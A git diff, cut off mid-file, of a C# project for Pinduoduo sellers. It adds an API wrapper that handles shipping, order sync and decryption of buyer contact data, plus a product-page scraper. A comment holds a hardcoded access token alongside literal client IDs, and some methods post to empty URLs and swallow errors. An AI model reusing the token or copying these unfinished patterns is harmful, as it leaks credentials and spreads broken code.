(int)pddRelation.postage.Value, pddRelation.source_type.Value); + // if (string.IsNullOrEmpty(html) || !html.Contains("\"is_success\":true")) + // LogSave.Add("", "关联设置失败,商品id是" + pddRelation.goods_id); + //} + //catch { } + #endregion + + return upResult; + } + #endregion + + #region 获取退货地址 + /// + /// 获取退货地址 + /// + /// + public string GetReturnGoodsAddress() + { + Type = "pdd.refund.address.list.get"; + return GetData(); + } + #endregion + + public string ExpressSend(string order_sn, int logistics_id, string tracking_number, string refund_address_id = "") + { + Type = "pdd.logistics.online.send"; + Data = new Dictionary(); + Data.Add("order_sn", order_sn); + Data.Add("logistics_id", logistics_id.ToString()); + Data.Add("tracking_number", tracking_number); + Data.Add("refund_address_id", refund_address_id); + return GetData(); + } + + public string Sync(string order_sn, int logistics_id, string tracking_number) + { + Type = "pdd.erp.order.sync"; + Data = new Dictionary(); + Data.Add("order_sn", order_sn); + Data.Add("order_state", "1"); + Data.Add("logistics_id", logistics_id.ToString()); + Data.Add("waybill_no", tracking_number); + return GetData(); + } + + public string UploadImage(byte[] bytes) + { + Type = "pdd.goods.image.upload"; + Data = new Dictionary(); + Data.Add("image", "data:image/jpeg;base64, " + Convert.ToBase64String(bytes)); + return GetData(); + } + /// + /// 获取分类 + /// + /// + /// + public string GetCat(int parentId) + { + Type = "pdd.goods.cats.get"; + Data = new Dictionary(); + Data.Add("parent_cat_id", parentId.ToString()); + return GetData(); + } + + /// + /// 解密脱敏 + /// + /// + /// + public string DecryptionMask(string jsons) + { + //[{"data_tag":"","encrypted_data":""}] + Type = "pdd.open.decrypt.mask.batch"; + Data = new Dictionary(); + Data.Add("data_list", jsons); + return GetData(); + } + + /// + /// 解密 + /// + /// + /// + public string DecryptionInformation(string jsons) + { + //[{"data_tag":"","encrypted_data":""}] + Type = "pdd.open.decrypt.batch"; + Data = new Dictionary(); + Data.Add("data_list", jsons); + return GetData(); + } + + /// + /// 获取订单同步服务的用户 + /// + /// + public string GetOrderSyncUsers(int owner_id) + { + Type = "pdd.ddy.pdp.users.get"; + Data = new Dictionary(); + if (owner_id > 0) + { + Data.Add("owner_id", owner_id.ToString()); + } + return GetData(); + } + + /// + /// 添加订单同步服务的用户 + /// + /// + public string AddOrderPushUsers(string rds_id) + { + Type = "pdd.ddy.pdp.user.add"; + Data = new Dictionary(); + Data.Add("rds_id", rds_id); + return GetData(); + } + + /// + /// 获取编辑ID详情 + /// + /// + /// + public string GetServerOrder(long mall_id) + { + Type = "pdd.vas.order.search"; + Data = new Dictionary(); + Data.Add("mall_id", mall_id.ToString()); + Data.Add("page", "1"); + Data.Add("page_size", "10"); + string html = GetData(); + return html; + } + + /// + /// 刷新Access Token + /// + /// + /// + public string RefreshPddToken(string refresh_token) + { + Type = "pdd.pop.auth.token.refresh"; + Data = new Dictionary(); + Data.Add("refresh_token", refresh_token); + string html = GetData(); + return html; + } + + public string GetData() + { + try + { + bool error = false; + Agein: + string token = Shop == null ? "" : !string.IsNullOrEmpty(Shop.AccessTokenOrder) ? Shop.AccessTokenOrder : Shop.AccessToken; + string refresh = Shop == null ? "" : !string.IsNullOrEmpty(Shop.RefreshTokenOrder) ? Shop.RefreshTokenOrder : Shop.RefreshToken; + string clientId = Shop.ClientId; + if (Data == null) + Data = new Dictionary(); + DateTime dateTime = BaseClass.GetServerTimeString(); //DateTime.Now; + Data.Add("type", Type); + Data.Add("data_type", "JSON"); + Data.Add("timestamp", BaseClass.GetTime(dateTime).ToString()); + Data.Add("client_id", clientId); + //token = "4496d5bdf7b54e15ba7c9bde60e52fbc93e8dd71"; + if (!string.IsNullOrEmpty(token)) + Data.Add("access_token", token); + StringBuilder code = new StringBuilder(); + Dictionary nd = Data.OrderBy(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + foreach (KeyValuePair key in nd) + { + code.Append(key.Key + key.Value); + } + //string sign = Md5Base.GetMd5(BaseClass.ApiKey + code + BaseClass.ApiKey).ToUpper(); + //string url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + clientId); + //if (clientId == "9558f920cf77403bb475243fe44482ad") + //{ + // url = "http://sign.qixiaoke.com/api/psb_sign.php?&type=" + Type + "&client_id=" + clientId; + //} + ////else + ////{ + //// url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + clientId); + ////} + //sign = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&signcode=" + GetHtml.UrlEncodeUtf8(code.ToString())); + //if (string.IsNullOrEmpty(sign) || sign.Length != 32) + //{ + // Thread.Sleep(5000); + // sign = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&signcode=" + GetHtml.UrlEncodeUtf8(code.ToString())); + //} + //Data.Add("sign", sign); + string html = ""; + string json = ""; + //if ((clientId == "9558f920cf77403bb475243fe44482ad" || clientId == "7feaefdf527d45129219ca398c922bb0") + //if (PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + //{ + // html = GetOrderInfo(dateTime, clientId); + //} + //else + //{ + // if (PinduoduoAuth.GateServerUrlDicNoRds.ContainsKey(clientId)) + // { + // html = GetServerInfoNoRds(dateTime, clientId); + // } + // //else + // //{ + // // //string sign = Md5Base.GetMd5(BaseClass.ApiKey + code + BaseClass.ApiKey).ToUpper(); + // // string url = BaseClass.BuildObjString("sign&act=get&type=" + Type + "&client_id=" + clientId); + // // string sign = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + "&signcode=" + GetHtml.UrlEncodeUtf8(code.ToString())); + // // Data.Add("sign", sign); + // // json = JsonHelper.SerializeObject(Data); + + // // html = GetPostTaobaoHtml.GetJsonPost(PinduoduoAuth.Gate, PinduoduoAuth.Gate, true, json); + // //} + //} + html = GetHtml.Decode(html); + //if (!string.IsNullOrEmpty(html) && html.Contains("access_token已过期")) + //{ + // Shop.AccessTokenOrder = ""; + // Shop.RefreshTokenOrder = ""; + + // var a = new PinduoduoAuth(); + + // if (!string.IsNullOrEmpty(refresh)) + // { + // a.ReFresh(refresh); + // html = GetPostTaobaoHtml.GetJsonPost(PinduoduoAuth.Gate, PinduoduoAuth.Gate, true, json); + // html = GetHtml.Decode(html); + // } + //} + //if (!string.IsNullOrEmpty(html) && (html.Contains("授权已被取消") || html.Contains("clientId不正确") || html.Contains("access_token")) && !error) + //{ + // var a = new PinduoduoAuth(); + // a.NoCache = true; + // a.MustAuth = true; + // a.Auth(Shop); + // error = true; + // Data.Remove("type"); + // Data.Remove("data_type"); + // Data.Remove("client_id"); + // Data.Remove("timestamp"); + // if (Data.ContainsKey("access_token")) + // Data.Remove("access_token"); + // Data.Remove("sign"); + // Thread.Sleep(3000); + // goto Agein; + //} + return html; + } + catch + { + return ""; + } + } + + #region 处理风控解密相关 + + /// + /// 获取编辑ID详情 + /// + /// + /// + public string GetPageCode(string redirect_url) + { + //List mallIdList = new List(); + //mallIdList.Add(Shop.MallId.ToString()); + + //string[] str = mallIdList.ToArray(); + string mallIdArr = "[" + Shop.MallId + "]"; + Type = "pdd.cloud.isv.page.code"; + Data = new Dictionary(); + Data.Add("mallIdList", mallIdArr); + Data.Add("httpReferer", redirect_url); + Data.Add("userId", BaseClass.UserId.ToString()); + string html = GetData(); + return html; + } + #endregion + + #region 拼商宝|螃蟹工具|奶爸助理|途途 等 + private string GetOrderInfo(DateTime dateTime, string clientId) + { + int time = BaseClass.ConvertDateTimeInt(dateTime) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryption(time); + Data.Add("encCode", time1); + if (BaseClass.NewSignatureAuth) + { + Data.Add("NbCodeVersion", "1"); + } + if (Type == "pdd.order.list.get" || Type == "pdd.order.information.get") + { + Data.Add("mall_id", Shop.MallId.ToString()); + if (clientId == "716a6bcc69d7441d856905eb79b892fd" && IsGetListByApi) + { + if (Type == "pdd.order.list.get") + { + Data.Add("getOrderListFromPdd", "1"); + } + if (Type == "pdd.order.information.get") + { + Data.Add("getOrderInformationFromPdd", "1"); + } + } + } + string json = JsonHelper.SerializeObject(Data); + string data = "¶ms=" + json; + if (data.Contains("698250794")&& data.Contains("\"page\":\"1\"") && data.Contains("pdd.order.list.get")) + { + + } + //if (!PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + //{ + // return ""; + //} + string url = ""; + //foreach (KeyValuePair item in PinduoduoAuth.GateServerUrlDic) + // { + // if (item.Key == clientId) + // { + // url = item.Value; + // break; + // } + + // } + string html = GetHtml.PostUtf8(url, data); + return html; + } + + + private string GetDecData(DateTime dateTime, string clientId) + { + int time = BaseClass.ConvertDateTimeInt(dateTime) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryption(time); + decData.encCode = time1; + if (BaseClass.NewSignatureAuth) + { + decData.NbCodeVersion = "1"; + } + string json = JsonHelper.SerializeObject(decData); + + //string data = "¶ms=" + json; + //if (!PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + //{ + // return ""; + //} + string url = ""; + //foreach (KeyValuePair item in PinduoduoAuth.GateServerUrlDic) + //{ + // if (item.Key == clientId) + // { + // url = item.Value; + // break; + // } + + //} + + string html = GetHtml.PostUtf8(url, json); + return html; + } + #endregion + + public string GetDatax() + { + try + { + string token = Shop == null ? "" : !string.IsNullOrEmpty(Shop.AccessTokenOrder) ? Shop.AccessTokenOrder : Shop.AccessToken; + string refresh = Shop == null ? "" : !string.IsNullOrEmpty(Shop.RefreshTokenOrder) ? Shop.RefreshTokenOrder : Shop.RefreshToken; + string clientId = Shop.ClientId; + DateTime dateTime = BaseClass.GetServerTimeString(); //DateTime.Now; + decData.data_type = "JSON"; + decData.timestamp = BaseClass.GetTime(dateTime).ToString(); + decData.client_id = clientId; + if (!string.IsNullOrEmpty(token)) + { + decData.access_token = token; + } + + string html = ""; + //if (PinduoduoAuth.GateServerUrlDic.ContainsKey(clientId)) + //{ + // html = GetDecData(dateTime, clientId); + //} + //else + //{ + // if (PinduoduoAuth.GateServerUrlDicNoRds.ContainsKey(clientId)) + // { + // html = GetServerInfoNoRds(dateTime, clientId); + // } + //} + html = GetHtml.Decode(html); + + return html; + } + catch + { + return ""; + } + } + + #region 新解密 + public string GetDecDataNew() + { + try + { + + string clientId = Shop.ClientId; + + string html = ""; + if (BaseClass.serverDic.ContainsKey(clientId)) + { + html = GetDecDatax(clientId); + html = GetHtml.Decode(html); + } + return html; + } + catch + { + return ""; + } + } + + private string GetDecDatax(string clientId) + { + //Data = new Dictionary(); + //Data.Add("order_sn", orderId); + //string json = JsonHelper.SerializeObject(Data); + if (!BaseClass.serverDic.ContainsKey(clientId)) + { + return ""; + } + string url = BaseClass.serverDic[clientId]; + if (decType == DecType.receiverPhone) + { + url += "pdd/control/decrypt/v1/receiverPhone"; + } + else if (decType == DecType.receiverName) + { + url += "pdd/control/decrypt/v1/receiverName"; + } + else if (decType == DecType.receiverAddress) + { + url += "pdd/control/decrypt/v1/address"; + } + else + { + return ""; + } + string data = "&order_sn=" + orderId; + data += "&decrypt_report_type=2"; + string html = GetHtml.PostUtf8ForOplb(url, data, Shop.verify_auth_token); + + //string htmlx = GetHtml.PostUtf8(url, json); + //string html = GetPostTaobaoHtml.GetJsonPostx(url, url, true, json, Shop.verify_auth_token); + return html; + } + #endregion + + + #region 未绑定rds的服务 + /// + /// + /// + /// + /// + /// + private string GetServerInfoNoRds(DateTime dateTime, string clientId) + { + int time = BaseClass.ConvertDateTimeInt(dateTime) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryption(time); + Data.Add("encCode", time1); + if (BaseClass.NewSignatureAuth) + { + Data.Add("NbCodeVersion", "1"); + } + string json = JsonHelper.SerializeObject(Data); + string data = "¶ms=" + json; + //if (!PinduoduoAuth.GateServerUrlDicNoRds.ContainsKey(clientId)) + //{ + // return ""; + //} + string url = ""; + //foreach (KeyValuePair item in PinduoduoAuth.GateServerUrlDicNoRds) + //{ + // if (item.Key == clientId) + // { + // url = item.Value; + // break; + // } + + //} + + string html = GetHtml.PostUtf8(url, data); + return html; + } + #endregion + + #region 请求服务 + + #region 获取订单 + + /// + /// 获取订单列表--添加use_has_next + /// + /// 状态:1:待发货,2:已发货待签收,3:已签收 5:全部 + /// 售后状态 1:无售后或售后关闭,2:售后处理中,3:退款中,4: 退款成功 5:全部 + /// + //public string GetOrderListByServer(int status, int refund_status, DateTime begen, DateTime end, int page) + //{ + // int start = BaseClass.GetTime(begen); + // int after = BaseClass.GetTime(end); + + // Dictionary Data = new Dictionary(); + // string token = Shop == null ? "" : !string.IsNullOrEmpty(Shop.AccessTokenOrder) ? Shop.AccessTokenOrder : Shop.AccessToken; + // Data.Add("access_token", token); + // Data.Add("order_status", status.ToString()); + // Data.Add("refund_status", refund_status.ToString()); + // Data.Add("start_confirm_at", start.ToString()); + // Data.Add("end_confirm_at", after.ToString()); + // Data.Add("page", page.ToString()); + // Data.Add("page_size", "100"); + // Data.Add("use_has_next", "true"); + // Data.Add("method", "pdd.order.list.get"); + // string paramsArr = JsonHelper.SerializeObject(Data); + // string data = "¶ms=" + paramsArr + DataParams(); + // return PostServer(data); + + //} + + #endregion + + #region 发货 + /// + /// 发货 + /// + /// 订单编号 + /// 退货地址 + /// 快递单号 + /// 快递编号 + /// + public string OrderSendByServer(string order_id, string refund_address_id, string tracking_number, int logistics_id) + { + Dictionary Data = new Dictionary(); + + string token = Shop == null ? "" : !string.IsNullOrEmpty(Shop.AccessTokenOrder) ? Shop.AccessTokenOrder : Shop.AccessToken; + Data.Add("access_token", token); + Data.Add("logistics_id", logistics_id.ToString()); + Data.Add("order_sn", order_id); + Data.Add("refund_address_id", refund_address_id); + Data.Add("tracking_number", tracking_number); + Data.Add("type", "pdd.logistics.online.send"); + Data.Add("timestamp", BaseClass.GetTime(DateTime.Now).ToString()); + int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryption(time); + Data.Add("encCode", time1); + if (BaseClass.NewSignatureAuth) + { + Data.Add("NbCodeVersion", "1"); + } + string json = JsonHelper.SerializeObject(Data); + string data = "¶ms=" + json; + string clientId = Shop.ClientId; + return PostServer(data, clientId); + } + #endregion + + //公共参数 + private string DataParams() + { + int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = UserLogin.Encryption(time); + string data = "&code=" + time1 + "&time=" + BaseClass.GetTime(DateTime.Now).ToString(); + return data; + } + + private string PostServer(string data, string clientId) + { + string url = ""; + //foreach (KeyValuePair item in PinduoduoAuth.GateServerUrlDic) + //{ + // if (item.Key == clientId) + // { + // url = item.Value; + // break; + // } + + //} + string html = GetHtml.PostUtf8(url, data); + return html; + } + #endregion + + } + + + public class Decrypt + { + /// + /// + /// + public string type { get; set; } + /// + /// + /// + public string data_type { get; set; } + /// + /// + /// + public string timestamp { get; set; } + /// + /// + /// + public string client_id { get; set; } + /// + /// + /// + public string access_token { get; set; } + /// + /// + /// + public string encCode { get; set; } + /// + /// + /// + public Dictionary> data_decrypt_list { get; set; } + + public string NbCodeVersion { get; set; } + } + + public enum DecType + { + receiverPhone, + receiverName, + receiverAddress + } + + + #region 订单解密类--新方式 + public class DecData + { + public List data_list { get; set; } + } + + public class DecDataItem + { + public string data_tag { get; set; } + + public string encrypted_data { get; set; } + } + #endregion + +} diff --git a/Work/PinduoduoProductCollect.cs b/Work/PinduoduoProductCollect.cs new file mode 100644 index 0000000..2f29878 --- /dev/null +++ b/Work/PinduoduoProductCollect.cs @@ -0,0 +1,220 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using AllBase; + +namespace Work +{ + public class PinduoduoProductCollect + { + public ProductDtailBase Product; + public static List TempIds = new List(); + public ProductCollectBase pb = new ProductCollectBase(); + public string Name, TempHtml = ""; + public bool NoAdd = false; + public PinduoduoProductCollect(string name, ProductDtailBase product) + { + Name = name; + Product = product; + } + + public void Get() + { + try + { + Getx(); + } + catch + { + } + } + + public void Getx() + { + if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml)) + { + return; + } + else if (!TempIds.Contains(Product.FromId)) + { + TempIds.Add(Product.FromId); + } + string url = BaseClass.PddMobileUrlx + "goods.html?goods_id=" + Product.FromId; + string refere = BaseClass.PddMobileUrlx; + string html; + if (string.IsNullOrEmpty(TempHtml) || !TempHtml.Contains("catID1")) + { + Thread.Sleep(2000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + if (string.IsNullOrEmpty(html) || !html.Contains("catID1")) + { + Thread.Sleep(10000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + if (string.IsNullOrEmpty(html) || !html.Contains("catID1")) + { + Thread.Sleep(20000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + if (string.IsNullOrEmpty(html) || !html.Contains("catID1")) + { + Thread.Sleep(20000); + LogSave.Add(Name, "商品详细信息获取异常:" + Product.FromId); + return; + } + } + else + { + html = TempHtml; + } + + + pb.from = "拼多多"; + pb.id = Product.FromId; + pb.from_id = Product.FromId; + LogSave.Add(Name, "获取成功:" + Product.FromId); + pb.name = BaseRegex.GetStringJson(ref html, "goodsName"); + pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goodsDesc"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""topGallery"":\[(.*?)\]"); + var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)"""); + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + pb.Images.Add(img); + //UpPinduoduoProductSet.AddImage(img, img, 640, 640); + } + temp = BaseRegex.GetMatchRegexString(ref html, @"""detailGallery"":\[(.*?)\]"); + m = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"",""width"":([\d]+),""height"":([\d]+)"); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", ""); + int width = int.Parse(m[i].Groups[2].Value); + int height = int.Parse(m[i].Groups[2].Value); + content += ""; + //UpPinduoduoProductSet.AddImage(img, img, width, height); + } + string strx = "\"skus\":\\[\\{\"skuID\":[\\s\\S]+?,\"hdThumbUrl\""; + var Skux = BaseRegex.GetMatchRegex(ref html, strx); + string skustr = ""; + if (Skux.Count > 0) + { + skustr = Skux[0].Value; + } + + //m = BaseRegex.GetMatchRegex(ref html, @"\{""skuID"".*?""\}\](.*?)\}"); + + m = BaseRegex.GetMatchRegex(ref skustr, "(\"skuId\":[\\s\\S]+?\"groupSkuUnitPrice\":)"); + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref skustr, "(\"skuId\":[\\s\\S]+?\"skuExpansionPrice\":)"); + } + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "skuID"); + s.price = BaseRegex.GetDecimalJson(ref list, "groupPrice"); + if (s.price < 1) + continue; + s.no_group_price = BaseRegex.GetDecimalJson(ref list, "normalPrice"); + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "isOnSale") == 1 ? 99 : 0; + if (s.number > num) + s.number = num; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumbUrl"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + //UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + s.name = GetName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + + pb.cat1 = BaseRegex.GetIntJson(ref html, "catID1"); + pb.cat2 = BaseRegex.GetIntJson(ref html, "catID2"); + pb.cat3 = BaseRegex.GetIntJson(ref html, "catID3"); + Product.Cat1 = pb.cat1; + Product.Cat2 = pb.cat2; + Product.Cat3 = pb.cat3; + pb.content = content; + pb.price = Product.Price; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + pb.saleCount = BaseRegex.GetIntJson(ref html, "sales"); + + + + //if (!UpPinduoduoProductSet.TaobaoProductTemp.ContainsKey(pb.from_id)) + //{ + // try + // { + // UpPinduoduoProductSet.TaobaoProductTemp.Add(pb.from_id, pb); + // } + // catch + // { + // } + //} + + + + } + + + + public string GetName(string list, ref ProductCollectBase pb, string image) + { + string temp = ""; + //var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)""\}"); + var m = BaseRegex.GetMatchRegex(ref list, "\"spec_key\":\"([^,]+)\",\"spec_value\":\"([^,]+)\""); + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref list, "\"spec_key\":([^,]+),\"spec_value\":([^,]+)"); + } + + for (int i = 0; i < m.Count; i++) + { + temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[i].Groups[1].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = m[i].Groups[1].Value; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == m[i].Groups[2].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + pv.name = m[i].Groups[2].Value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + } + } +} diff --git a/Work/ProductDtailBase.cs b/Work/ProductDtailBase.cs new file mode 100644 index 0000000..52f6796 --- /dev/null +++ b/Work/ProductDtailBase.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class ProductDtailBase + { + public string Keyword = ""; + public long FromId = 0; + public decimal Price = 0; + public decimal SaleCount = 0; + public string Titlte = ""; + public int Cat1 = 0; + public int Cat2 = 0; + public int Cat3 = 0; + public int Cat4 = 0; + public int CatId = 0; + public int AddPrice = 0; + public int MainImage = 0; + public int MainCatId = 0; + public bool Uped = false; + public bool OffLine = false; + public long PinId; + public long GoodsId; + public long GoodsSn; + public long MailId; + public string FromType = ""; + public string Message = ""; + /// + /// 按照分类匹配过了 + /// + public bool CatSame = false; + public bool Build = false; + public string ShopName = ""; + public string AddTime = ""; + public string UpTime = ""; + + public int Uv = 0; + public int Pv = 0; + public int OrderCount = 0; + public decimal UvAvgPay = 0; + public decimal SaleMoney = 0; + } +} diff --git a/Work/Properties/AssemblyInfo.cs b/Work/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..5817632 --- /dev/null +++ b/Work/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("Work")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Work")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("1ad45d66-6872-4522-acf0-04e2c0514048")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Work/Properties/Resources.Designer.cs b/Work/Properties/Resources.Designer.cs new file mode 100644 index 0000000..964baea --- /dev/null +++ b/Work/Properties/Resources.Designer.cs @@ -0,0 +1,303 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本:4.0.30319.42000 +// +// 对此文件的更改可能会导致不正确的行为,并且如果 +// 重新生成代码,这些更改将会丢失。 +// +//------------------------------------------------------------------------------ + +namespace Work.Properties { + using System; + + + /// + /// 一个强类型的资源类,用于查找本地化的字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// 返回此类使用的缓存的 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Work.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 重写当前线程的 CurrentUICulture 属性,对 + /// 使用此强类型资源类的所有资源查找执行重写。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgErr { + get { + object obj = ResourceManager.GetObject("BaseMsgErr", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgInfo { + get { + object obj = ResourceManager.GetObject("BaseMsgInfo", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap BaseMsgQue { + get { + object obj = ResourceManager.GetObject("BaseMsgQue", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap btncheckoff1 { + get { + object obj = ResourceManager.GetObject("btncheckoff1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap btncheckon1 { + get { + object obj = ResourceManager.GetObject("btncheckon1", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close { + get { + object obj = ResourceManager.GetObject("close", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap close_hover { + get { + object obj = ResourceManager.GetObject("close.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap icon { + get { + object obj = ResourceManager.GetObject("icon", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max { + get { + object obj = ResourceManager.GetObject("max", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap max_hover { + get { + object obj = ResourceManager.GetObject("max.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min { + get { + object obj = ResourceManager.GetObject("min", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap min_hover { + get { + object obj = ResourceManager.GetObject("min.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal { + get { + object obj = ResourceManager.GetObject("normal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap normal_hover { + get { + object obj = ResourceManager.GetObject("normal.hover", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_2_0 { + get { + object obj = ResourceManager.GetObject("x-2.0", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// 查找 System.Drawing.Bitmap 类型的本地化资源。 + /// + internal static System.Drawing.Bitmap x_2_1 { + get { + object 